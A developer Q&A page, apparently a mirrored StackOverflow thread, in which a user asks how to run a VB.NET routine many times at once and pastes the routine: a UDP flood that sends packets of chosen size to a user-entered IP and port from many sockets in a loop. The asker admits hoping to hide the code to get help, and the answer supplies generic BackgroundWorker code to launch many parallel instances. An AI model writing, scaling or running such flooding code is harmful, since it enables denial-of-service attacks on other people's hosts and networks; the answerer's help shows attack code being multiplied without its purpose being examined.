开发者

VB.NET - Running one sub multiple times at once

I have one Private sub that runs in a loop. I want the sub to run multiple times at once. For example the program runs, you press start; you run the program again and press start, again and again... the same program doing the job at once. now i just want one program do to it alone. But i would like it to be user defined. exp. run program. type in a text box 10. press start. and it works as if 10 of them work open working on the same thing.

I ha开发者_StackOverflow社区ve seen another program made with vb.net 2010 and its what i use and do not know how to do it. so i am just wondering.

Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
    Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
    Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
    Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
    Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
    Do While Flooding = True
        For i = 0 To SocketN
            If Flooding = True Then
                Dim _Sock(i) As Socket
                _Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                Try
                    _Sock(i).SendTo(PacketS, IPPort)
                    Threading.Thread.Sleep(500)
                Catch ex As Exception
                    Threading.Thread.Sleep(500)
                End Try
            Else
                Exit Do
            End If
        Next
    Loop
End Sub

Mostly want to have this work over and over at once by the users choice... kinda hoped not to use this code else might not get helped.


You can use background worker for that. Once you know how many workers you want to do the job just create those many instances of background worker. Tell me if this is the answer you are looking for or not

Sample Source Code

Imports System.ComponentModel

Module Module1

    Sub Main()
        Console.WriteLine("Please enter the worker count:")
        Dim workerCount As Integer = Console.ReadLine()
        For i As Int16 = 0 To workerCount
            Dim worker As BackgroundWorker = New BackgroundWorker
            worker.RunWorkerAsync(i + 1)
            AddHandler worker.DoWork, AddressOf Worker_DoWork
        Next
    End Sub

    Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
        Console.WriteLine(e.Argument.ToString())
    End Sub
End Module
0

上一篇:

下一篇:

精彩评论

暂无评论...
验证码 换一张
取 消

最新问答

问答排行榜